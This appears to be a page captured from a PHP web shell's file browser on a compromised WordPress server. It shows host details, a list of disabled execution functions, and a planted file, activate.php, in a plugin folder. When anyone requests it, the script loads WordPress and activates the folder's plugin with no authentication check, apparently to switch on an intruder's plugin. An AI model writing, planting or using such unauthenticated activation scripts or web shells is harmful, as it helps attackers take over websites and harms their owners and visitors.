HEX
Server: Apache
System: Linux ebs-147252 5.10.0-30-amd64 #1 SMP Debian 5.10.218-1 (2024-06-01) x86_64
User: jumuhardware (65594)
PHP: 8.2.20
Disabled: link,symlink,passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server,pcntl_fork,pcntl_rfork
Upload Files
File: /home/wwwroot/jumuhardware/wwwroot/wp-content/plugins/yamiskm/activate.php
<?php

require_once dirname( __FILE__, 4 ) . '/wp-load.php';

if ( ! function_exists( 'activate_plugin' ) ) {
	require_once ABSPATH . 'wp-admin/includes/plugin.php';
}

$plugin_dir  = basename( __DIR__ );
$plugin_file = null;

foreach ( glob( __DIR__ . '/*.php' ) as $file ) {
	if ( basename( $file ) === 'activate.php' || basename( $file ) === 'uninstall.php' ) {
		continue;
	}
	$data = get_plugin_data( $file, false, false );
	if ( ! empty( $data['Name'] ) ) {
		$plugin_file = $plugin_dir . '/' . basename( $file );
		break;
	}
}

if ( ! $plugin_file ) {
	die( 'No plugin found.' );
}

if ( is_plugin_active( $plugin_file ) ) {
	die( 'Already active.' );
}

$result = activate_plugin( $plugin_file );

if ( is_wp_error( $result ) ) {
	die( 'Activation failed: ' . $result->get_error_message() );
}

echo 'Activated: ' . $plugin_file;